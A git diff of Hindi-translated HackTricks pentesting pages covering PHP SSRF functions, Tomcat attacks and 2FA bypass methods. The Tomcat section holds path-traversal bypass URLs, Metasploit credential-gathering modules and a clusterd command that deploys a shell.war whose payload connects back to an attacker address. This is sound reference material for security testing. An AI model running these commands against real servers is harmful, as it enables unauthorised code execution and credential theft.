- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### SSRF PHP functions -कुछ फ़ंक्शन जैसे **file\_get\_contents(), fopen(), file(), md5\_file()** URL को इनपुट के रूप में स्वीकार करते हैं जिन्हें वे फॉलो करेंगे, जिससे **संभावित SSRF कमजोरियाँ** हो सकती हैं यदि उपयोगकर्ता डेटा को नियंत्रित कर सकता है: +कुछ फ़ंक्शन जैसे **file\_get\_contents(), fopen(), file(), md5\_file()** URL को इनपुट के रूप में स्वीकार करते हैं जिन्हें वे फॉलो करेंगे जिससे **संभावित SSRF कमजोरियाँ** बन सकती हैं यदि उपयोगकर्ता डेटा को नियंत्रित कर सकता है: ```php file_get_contents("http://127.0.0.1:8081"); fopen("http://127.0.0.1:8081", "r"); @@ -34,7 +26,7 @@ md5_file("http://127.0.0.1:8081"); ``` ### Wordpress SSRF via DNS Rebinding -जैसा कि [**इस ब्लॉग पोस्ट में समझाया गया है**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), यहां तक कि Wordpress फ़ंक्शन **`wp_safe_remote_get`** DNS rebinding के प्रति संवेदनशील है, जिससे यह SSRF हमलों के लिए संभावित रूप से संवेदनशील हो जाता है। मुख्य मान्यता जो यह कॉल करता है वह है **wp\_http\_validate\_ur**l, जो यह जांचता है कि प्रोटोकॉल `http://` या `https://` है और कि पोर्ट **80**, **443**, और **8080** में से एक है, लेकिन यह **DNS rebinding के प्रति संवेदनशील है**। +जैसा कि [**इस ब्लॉग पोस्ट में समझाया गया है**](https://patchstack.com/articles/exploring-the-unpatched-wordpress-ssrf), यहां तक कि Wordpress फ़ंक्शन **`wp_safe_remote_get`** DNS rebinding के प्रति संवेदनशील है, जिससे यह संभावित रूप से SSRF हमलों के लिए संवेदनशील हो जाता है। मुख्य सत्यापन जो यह कॉल करता है वह है **wp\_http\_validate\_ur**l, जो यह जांचता है कि प्रोटोकॉल `http://` या `https://` है और कि पोर्ट **80**, **443**, और **8080** में से एक है, लेकिन यह **DNS rebinding के प्रति संवेदनशील है**। पोस्ट के अनुसार अन्य संवेदनशील फ़ंक्शन हैं: @@ -67,7 +59,7 @@ Connection: close इस CRLF vuln के बारे में अधिक जानकारी के लिए, इस बग की जांच करें [https://bugs.php.net/bug.php?id=81680\&edit=1](https://bugs.php.net/bug.php?id=81680\&edit=1) {% endhint %} -ध्यान दें कि इन फ़ंक्शंस में अनुरोधों में मनमाने हेडर सेट करने के अन्य तरीके हो सकते हैं, जैसे: +ध्यान दें कि इन फ़ंक्शनों में अनुरोधों में मनमाने हेडर सेट करने के अन्य तरीके हो सकते हैं, जैसे: ```php $url = ""; @@ -83,23 +75,17 @@ $options = array( $context = stream_context_create($options); $file = file_get_contents($url, false, $context); ``` -**ट्राई हार्ड सुरक्षा समूह** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks का समर्थन करें * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का पालन करें।** -* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। +* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
{% endhint %} diff --git a/network-services-pentesting/pentesting-web/tomcat.md b/network-services-pentesting/pentesting-web/tomcat.md index 569008578..66c9b1f5a 100644 --- a/network-services-pentesting/pentesting-web/tomcat.md +++ b/network-services-pentesting/pentesting-web/tomcat.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Discovery * यह आमतौर पर **पोर्ट 8080** पर चलता है @@ -65,7 +57,7 @@ msf> use auxiliary/scanner/http/tomcat_enum ```bash msf> use auxiliary/scanner/http/tomcat_mgr_login ``` -एक और महत्वपूर्ण निर्देशिका **`/manager/status`** है, जो Tomcat और OS संस्करण को प्रदर्शित करती है, जिससे कमजोरियों की पहचान में मदद मिलती है। +एक और महत्वपूर्ण निर्देशिका **`/manager/status`** है, जो टॉमकैट और ओएस संस्करण को प्रदर्शित करती है, जिससे कमजोरियों की पहचान में मदद मिलती है। ### **Brute Force Attack** @@ -85,7 +77,7 @@ Along with setting various parameters in Metasploit to target a specific host. `mod_jk` में CVE-2007-1860 कमजोरियाँ डबल URL एन्कोडिंग पथ ट्रैवर्सल की अनुमति देती हैं, जो विशेष रूप से तैयार किए गए URL के माध्यम से प्रबंधन इंटरफेस तक अनधिकृत पहुँच सक्षम करती हैं। -Tomcat के प्रबंधन वेब तक पहुँचने के लिए जाएँ: `pathTomcat/%252E%252E/manager/html` +टॉमकैट के प्रबंधन वेब तक पहुँचने के लिए जाएँ: `pathTomcat/%252E%252E/manager/html` ### /examples @@ -116,15 +108,15 @@ Apache Tomcat संस्करण 4.x से 7.x में उदाहरण ### **पथ ट्रैवर्सल शोषण** -कुछ [**कमजोर कॉन्फ़िगरेशन के Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) में आप पथ का उपयोग करके Tomcat में संरक्षित निर्देशिकाओं तक पहुँच प्राप्त कर सकते हैं: `/..;/` +कुछ [**टॉमकैट की कमजोर कॉन्फ़िगरेशन**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) में आप पथ का उपयोग करके टॉमकैट में संरक्षित निर्देशिकाओं तक पहुँच प्राप्त कर सकते हैं: `/..;/` -तो, उदाहरण के लिए, आप **Tomcat प्रबंधक** पृष्ठ तक पहुँचने में सक्षम हो सकते हैं: `www.vulnerable.com/lalala/..;/manager/html` +तो, उदाहरण के लिए, आप **टॉमकैट प्रबंधक** पृष्ठ तक पहुँचने में सक्षम हो सकते हैं: `www.vulnerable.com/lalala/..;/manager/html` **एक और तरीका** इस ट्रिक का उपयोग करके संरक्षित पथों को बायपास करने का है: `http://www.vulnerable.com/;param=value/manager/html` ## RCE -अंत में, यदि आपके पास Tomcat वेब एप्लिकेशन प्रबंधक तक पहुँच है, तो आप **एक .war फ़ाइल अपलोड और तैनात कर सकते हैं (कोड निष्पादित करें)**। +अंत में, यदि आपके पास टॉमकैट वेब एप्लिकेशन प्रबंधक तक पहुँच है, तो आप **एक .war फ़ाइल अपलोड और तैनात कर सकते हैं (कोड निष्पादित करें)**। ### सीमाएँ @@ -171,7 +163,7 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git ```bash ./tomcatWarDeployer.py -U -P -p :/manager/html/ ``` -### Using [Culsterd](https://github.com/hatRiot/clusterd) +### [Culsterd](https://github.com/hatRiot/clusterd) का उपयोग करना ```bash clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows ``` @@ -230,7 +222,7 @@ Tomcat क्रेडेंशियल्स इकट्ठा करने msf> use post/multi/gather/tomcat_gather msf> use post/windows/gather/enum_tomcat ``` -## अन्य टॉमकैट स्कैनिंग टूल +## अन्य टॉमकैट स्कैनिंग उपकरण * [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner) @@ -239,12 +231,6 @@ msf> use post/windows/gather/enum_tomcat * [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat) * [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf) -**ट्राई हार्ड सिक्योरिटी ग्रुप** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) @@ -254,7 +240,7 @@ GCP हैकिंग सीखें और अभ्यास करें: < HackTricks का समर्थन करें * [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमारे** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारे** **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** का अनुसरण करें।** +* **हमारे** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमारा अनुसरण करें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें। diff --git a/network-services-pentesting/pentesting-web/tomcat/README.md b/network-services-pentesting/pentesting-web/tomcat/README.md index d07e8c5de..dc32cd970 100644 --- a/network-services-pentesting/pentesting-web/tomcat/README.md +++ b/network-services-pentesting/pentesting-web/tomcat/README.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Discovery * यह आमतौर पर **पोर्ट 8080** पर चलता है @@ -77,15 +69,15 @@ Along with setting various parameters in Metasploit to target a specific host. ## सामान्य कमजोरियाँ -### **पासवर्ड बैकट्रेस डिस्क्लोजर** +### **पासवर्ड बैकट्रेस प्रकटीकरण** `/auth.jsp` तक पहुँचने से भाग्यशाली परिस्थितियों में बैकट्रेस के तहत पासवर्ड प्रकट हो सकता है। ### **डबल URL एन्कोडिंग** -`mod_jk` में CVE-2007-1860 कमजोरियाँ डबल URL एन्कोडिंग पथ ट्रैवर्सल की अनुमति देती हैं, जो विशेष रूप से तैयार किए गए URL के माध्यम से प्रबंधन इंटरफेस तक अनधिकृत पहुँच सक्षम करती हैं। +`mod_jk` में CVE-2007-1860 कमजोरियाँ डबल URL एन्कोडिंग पथ यात्रा की अनुमति देती हैं, जिससे विशेष रूप से तैयार किए गए URL के माध्यम से प्रबंधन इंटरफ़ेस तक अनधिकृत पहुँच संभव होती है। -Tomcat के प्रबंधन वेब तक पहुँचने के लिए जाएँ: `pathTomcat/%252E%252E/manager/html` +टॉमकैट के प्रबंधन वेब तक पहुँचने के लिए जाएँ: `pathTomcat/%252E%252E/manager/html` ### /examples @@ -114,17 +106,17 @@ Apache Tomcat संस्करण 4.x से 7.x में उदाहरण * /examples/servlet/SessionExample * /tomcat-docs/appdev/sample/web/hello.jsp -### **पथ ट्रैवर्सल शोषण** +### **पथ यात्रा शोषण** -कुछ [**कमजोर कॉन्फ़िगरेशन के Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) में आप पथ का उपयोग करके Tomcat में संरक्षित निर्देशिकाओं तक पहुँच प्राप्त कर सकते हैं: `/..;/` +कुछ [**टॉमकैट की संवेदनशील कॉन्फ़िगरेशन**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) में आप पथ का उपयोग करके टॉमकैट में संरक्षित निर्देशिकाओं तक पहुँच प्राप्त कर सकते हैं: `/..;/` -तो, उदाहरण के लिए, आप **Tomcat प्रबंधक** पृष्ठ तक पहुँचने में सक्षम हो सकते हैं: `www.vulnerable.com/lalala/..;/manager/html` +तो, उदाहरण के लिए, आप **टॉमकैट प्रबंधक** पृष्ठ तक पहुँचने में सक्षम हो सकते हैं: `www.vulnerable.com/lalala/..;/manager/html` **एक और तरीका** इस ट्रिक का उपयोग करके संरक्षित पथों को बायपास करने का है: `http://www.vulnerable.com/;param=value/manager/html` ## RCE -अंत में, यदि आपके पास Tomcat वेब एप्लिकेशन प्रबंधक तक पहुँच है, तो आप **एक .war फ़ाइल अपलोड और तैनात कर सकते हैं (कोड निष्पादित करें)**। +अंत में, यदि आपके पास टॉमकैट वेब एप्लिकेशन प्रबंधक तक पहुँच है, तो आप **एक .war फ़ाइल अपलोड और तैनात कर सकते हैं (कोड निष्पादित करें)**। ### सीमाएँ @@ -171,7 +163,7 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git ```bash ./tomcatWarDeployer.py -U -P -p :/manager/html/ ``` -### Using [Culsterd](https://github.com/hatRiot/clusterd) +### [Culsterd](https://github.com/hatRiot/clusterd) का उपयोग करना ```bash clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows ``` @@ -230,7 +222,7 @@ Tomcat क्रेडेंशियल्स इकट्ठा करने msf> use post/multi/gather/tomcat_gather msf> use post/windows/gather/enum_tomcat ``` -## अन्य टॉमकैट स्कैनिंग टूल +## अन्य टॉमकैट स्कैनिंग उपकरण * [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner) @@ -239,22 +231,17 @@ msf> use post/windows/gather/enum_tomcat * [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat) * [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf) -**ट्राई हार्ड सिक्योरिटी ग्रुप** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} -AWS हैकिंग सीखें और अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCP हैकिंग सीखें और अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks का समर्थन करें -* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! -* **हमारे** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **ट्विटर** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** +* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।** * **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
diff --git a/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md b/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md index 8131ad0e8..37e02331b 100644 --- a/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md +++ b/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md @@ -15,17 +15,9 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### रूट के साथ चलाने से बचें -Tomcat को रूट के साथ न चलाने के लिए एक बहुत सामान्य कॉन्फ़िगरेशन यह है कि पोर्ट 80/443 पर एक Apache सर्वर सेट किया जाए और, यदि अनुरोधित पथ एक regexp से मेल खाता है, तो अनुरोध को एक अलग पोर्ट पर चल रहे Tomcat को भेजा जाता है। +टॉमकैट को रूट के साथ न चलाने के लिए एक बहुत सामान्य कॉन्फ़िगरेशन यह है कि पोर्ट 80/443 पर एक अपाचे सर्वर सेट किया जाए और, यदि अनुरोधित पथ एक नियमित अभिव्यक्ति से मेल खाता है, तो अनुरोध को एक अलग पोर्ट पर चल रहे टॉमकैट को भेजा जाता है। ### डिफ़ॉल्ट संरचना ``` @@ -55,11 +47,11 @@ Tomcat को रूट के साथ न चलाने के लिए * `bin` फ़ोल्डर उन स्क्रिप्ट और बाइनरीज़ को स्टोर करता है जो Tomcat सर्वर को शुरू और चलाने के लिए आवश्यक हैं। * `conf` फ़ोल्डर Tomcat द्वारा उपयोग किए जाने वाले विभिन्न कॉन्फ़िगरेशन फ़ाइलों को स्टोर करता है। * `tomcat-users.xml` फ़ाइल उपयोगकर्ता क्रेडेंशियल और उनके असाइन किए गए भूमिकाओं को स्टोर करती है। -* `lib` फ़ोल्डर Tomcat के सही कार्य करने के लिए आवश्यक विभिन्न JAR फ़ाइलों को रखता है। +* `lib` फ़ोल्डर Tomcat के सही कार्य के लिए आवश्यक विभिन्न JAR फ़ाइलों को रखता है। * `logs` और `temp` फ़ोल्डर अस्थायी लॉग फ़ाइलों को स्टोर करते हैं। * `webapps` फ़ोल्डर Tomcat का डिफ़ॉल्ट वेब रूट है और सभी अनुप्रयोगों को होस्ट करता है। `work` फ़ोल्डर एक कैश के रूप में कार्य करता है और रनटाइम के दौरान डेटा को स्टोर करने के लिए उपयोग किया जाता है। -`webapps` के अंदर प्रत्येक फ़ोल्डर से अपेक्षित संरचना है। +`webapps` के अंदर प्रत्येक फ़ोल्डर से अपेक्षित है कि उसकी निम्नलिखित संरचना हो। ``` webapps/customapp ├── images @@ -76,8 +68,8 @@ webapps/customapp └── classes └── AdminServlet.class ``` -सबसे महत्वपूर्ण फ़ाइल इनमें से `WEB-INF/web.xml` है, जिसे डिप्लॉयमेंट डिस्क्रिप्टर के रूप में जाना जाता है। यह फ़ाइल **ऐप्लिकेशन द्वारा उपयोग किए जाने वाले रूट्स** के बारे में जानकारी और इन रूट्स को संभालने वाली कक्षाओं को संग्रहीत करती है।\ -ऐप्लिकेशन द्वारा उपयोग की जाने वाली सभी संकलित कक्षाएँ `WEB-INF/classes` फ़ोल्डर में संग्रहीत होनी चाहिए। इन कक्षाओं में महत्वपूर्ण व्यावसायिक लॉजिक के साथ-साथ संवेदनशील जानकारी भी हो सकती है। इन फ़ाइलों में कोई भी भेद्यता वेबसाइट के पूर्ण समझौते की ओर ले जा सकती है। `lib` फ़ोल्डर उस विशेष ऐप्लिकेशन के लिए आवश्यक पुस्तकालयों को संग्रहीत करता है। `jsp` फ़ोल्डर [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages) को संग्रहीत करता है, जिसे पहले `JavaServer Pages` के रूप में जाना जाता था, जिसे Apache सर्वर पर PHP फ़ाइलों के साथ तुलना की जा सकती है। +सबसे महत्वपूर्ण फ़ाइल इनमें से `WEB-INF/web.xml` है, जिसे डिप्लॉयमेंट डिस्क्रिप्टर के रूप में जाना जाता है। यह फ़ाइल **ऐप्लिकेशन द्वारा उपयोग किए जाने वाले रूट्स** और इन रूट्स को संभालने वाली कक्षाओं के बारे में जानकारी संग्रहीत करती है।\ +ऐप्लिकेशन द्वारा उपयोग की जाने वाली सभी संकलित कक्षाएँ `WEB-INF/classes` फ़ोल्डर में संग्रहीत होनी चाहिए। इन कक्षाओं में महत्वपूर्ण व्यावसायिक तर्क और संवेदनशील जानकारी हो सकती है। इन फ़ाइलों में कोई भी भेद्यता वेबसाइट के पूर्ण समझौते की ओर ले जा सकती है। `lib` फ़ोल्डर उस विशेष ऐप्लिकेशन के लिए आवश्यक पुस्तकालयों को संग्रहीत करता है। `jsp` फ़ोल्डर [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages) को संग्रहीत करता है, जिसे पहले `JavaServer Pages` के रूप में जाना जाता था, जिसे Apache सर्वर पर PHP फ़ाइलों के साथ तुलना की जा सकती है। यहाँ एक उदाहरण **web.xml** फ़ाइल है। ```xml @@ -97,7 +89,7 @@ webapps/customapp ``` -The `web.xml` configuration above defines a **नया सर्वलेट जिसका नाम `AdminServlet`** है जो **क्लास `com.inlanefreight.api.AdminServlet`** से मैप किया गया है। Java डॉट नोटेशन का उपयोग पैकेज नाम बनाने के लिए करता है, जिसका अर्थ है कि ऊपर परिभाषित क्लास के लिए डिस्क पर पथ होगा: +The `web.xml` कॉन्फ़िगरेशन ऊपर एक **नया सर्वलेट नाम `AdminServlet`** परिभाषित करता है जो **क्लास `com.inlanefreight.api.AdminServlet`** से मैप किया गया है। जावा डॉट नोटेशन का उपयोग पैकेज नाम बनाने के लिए करता है, जिसका अर्थ है कि ऊपर परिभाषित क्लास के लिए डिस्क पर पथ होगा: * **`classes/com/inlanefreight/api/AdminServlet.class`** @@ -105,7 +97,7 @@ The `web.xml` configuration above defines a **नया सर्वलेट ### tomcat-users -**`tomcat-users.xml`** फ़ाइल का उपयोग **अनुमति देने** या **`/manager` और `host-manager` प्रशासनिक पृष्ठों** तक पहुँच को अस्वीकार करने के लिए किया जाता है। +**`tomcat-users.xml`** फ़ाइल का उपयोग **`/manager` और `host-manager` प्रशासनिक पृष्ठों** तक पहुँच को **अनुमति देने** या अस्वीकार करने के लिए किया जाता है। ```xml @@ -152,23 +144,18 @@ The file shows us what each of the roles `manager-gui`, `manager-script`, `manag * [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +सीखें और AWS हैकिंग का अभ्यास करें:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +सीखें और GCP हैकिंग का अभ्यास करें: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricks का समर्थन करें -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें! +* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
{% endhint %} diff --git a/pentesting-web/2fa-bypass.md b/pentesting-web/2fa-bypass.md index 1ad4bcaf5..2385f766b 100644 --- a/pentesting-web/2fa-bypass.md +++ b/pentesting-web/2fa-bypass.md @@ -15,29 +15,16 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) एक **डार्क-वेब** द्वारा संचालित सर्च इंजन है जो **मुफ्त** कार्यक्षमताएँ प्रदान करता है ताकि यह जांचा जा सके कि कोई कंपनी या उसके ग्राहक **समझौता** किए गए हैं या नहीं **चोरी करने वाले मालवेयर** द्वारा। - -WhiteIntel का प्राथमिक लक्ष्य जानकारी चुराने वाले मालवेयर के परिणामस्वरूप अकाउंट टेकओवर और रैनसमवेयर हमलों से लड़ना है। - -आप उनकी वेबसाइट देख सकते हैं और उनके इंजन को **मुफ्त** में आजमा सकते हैं: - -{% embed url="https://whiteintel.io" %} - -*** ## **Enhanced Two-Factor Authentication Bypass Techniques** ### **Direct Endpoint Access** -2FA को बायपास करने के लिए, सीधे अगले एंडपॉइंट तक पहुँचें, पथ जानना महत्वपूर्ण है। यदि असफल होते हैं, तो **Referrer header** को 2FA सत्यापन पृष्ठ से नेविगेशन की नकल करने के लिए बदलें। +2FA को बायपास करने के लिए, अगले एंडपॉइंट तक सीधे पहुंचें, पथ जानना महत्वपूर्ण है। यदि असफल होते हैं, तो **Referrer header** को 2FA सत्यापन पृष्ठ से नेविगेशन की नकल करने के लिए बदलें। ### **Token Reuse** -खाते के भीतर प्रमाणीकरण के लिए पहले से उपयोग किए गए टोकनों का पुन: उपयोग करना प्रभावी हो सकता है। +खाते के भीतर प्रमाणीकरण के लिए पहले से उपयोग किए गए टोकन का पुन: उपयोग करना प्रभावी हो सकता है। ### **Utilization of Unused Tokens** @@ -49,19 +36,19 @@ WhiteIntel का प्राथमिक लक्ष्य जानकार ### **Verification Link Exploitation** -**खाते के निर्माण पर भेजे गए ईमेल सत्यापन लिंक** का उपयोग करके 2FA के बिना प्रोफ़ाइल तक पहुँचने की अनुमति मिल सकती है, जैसा कि एक विस्तृत [पोस्ट](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b) में बताया गया है। +**खाते के निर्माण पर भेजे गए ईमेल सत्यापन लिंक** का उपयोग करके 2FA के बिना प्रोफ़ाइल तक पहुंच प्राप्त की जा सकती है, जैसा कि एक विस्तृत [पोस्ट](https://srahulceh.medium.com/behind-the-scenes-of-a-security-bug-the-perils-of-2fa-cookie-generation-496d9519771b) में बताया गया है। ### **Session Manipulation** -उपयोगकर्ता और एक पीड़ित के खाते के लिए सत्र शुरू करना, और उपयोगकर्ता के खाते के लिए 2FA को पूरा करना बिना आगे बढ़े, पीड़ित के खाते के प्रवाह में अगले चरण तक पहुँचने का प्रयास करने की अनुमति देता है, बैकएंड सत्र प्रबंधन सीमाओं का लाभ उठाते हुए। +उपयोगकर्ता और एक पीड़ित के खाते के लिए सत्र शुरू करना, और उपयोगकर्ता के खाते के लिए 2FA को पूरा करना बिना आगे बढ़े, पीड़ित के खाते के प्रवाह में अगले चरण तक पहुंचने का प्रयास करने की अनुमति देता है, बैकएंड सत्र प्रबंधन सीमाओं का लाभ उठाते हुए। ### **Password Reset Mechanism** -पासवर्ड रीसेट फ़ंक्शन की जांच करना, जो रीसेट के बाद उपयोगकर्ता को एप्लिकेशन में लॉग इन करता है, यह सुनिश्चित करने के लिए महत्वपूर्ण है कि क्या यह एक ही लिंक का उपयोग करके कई रीसेट की अनुमति देता है। नए रीसेट किए गए क्रेडेंशियल्स के साथ लॉग इन करना 2FA को बायपास कर सकता है। +पासवर्ड रीसेट फ़ंक्शन की जांच करना, जो रीसेट के बाद उपयोगकर्ता को एप्लिकेशन में लॉग इन करता है, यह सुनिश्चित करने के लिए महत्वपूर्ण है कि क्या एक ही लिंक का उपयोग करके कई रीसेट की अनुमति है। नए रीसेट किए गए क्रेडेंशियल्स के साथ लॉग इन करना 2FA को बायपास कर सकता है। ### **OAuth Platform Compromise** -एक विश्वसनीय **OAuth** प्लेटफ़ॉर्म (जैसे, Google, Facebook) पर उपयोगकर्ता के खाते का समझौता करना 2FA को बायपास करने का एक मार्ग प्रदान कर सकता है। +एक विश्वसनीय **OAuth** प्लेटफ़ॉर्म (जैसे, Google, Facebook) पर उपयोगकर्ता के खाते से समझौता करना 2FA को बायपास करने का एक मार्ग प्रदान कर सकता है। ### **Brute Force Attacks** @@ -71,7 +58,7 @@ WhiteIntel का प्राथमिक लक्ष्य जानकार #### **Slow Brute Force** -एक धीमी ब्रूट फोर्स हमला संभव है जहाँ प्रवाह दर सीमाएँ मौजूद हैं बिना एक समग्र दर सीमा के। +एक धीमी ब्रूट फोर्स हमला तब संभव है जब प्रवाह दर सीमाएँ मौजूद हों बिना एक समग्र दर सीमा के। #### **Code Resend Limit Reset** @@ -79,11 +66,11 @@ WhiteIntel का प्राथमिक लक्ष्य जानकार #### **Client-Side Rate Limit Circumvention** -एक दस्तावेज़ क्लाइंट-साइड दर सीमाओं को बायपास करने के लिए तकनीकों का विवरण देता है। +एक दस्तावेज़ क्लाइंट-साइड दर सीमाओं को बायपास करने की तकनीकों का विवरण देता है। #### **Internal Actions Lack Rate Limit** -दर सीमाएँ लॉगिन प्रयासों की 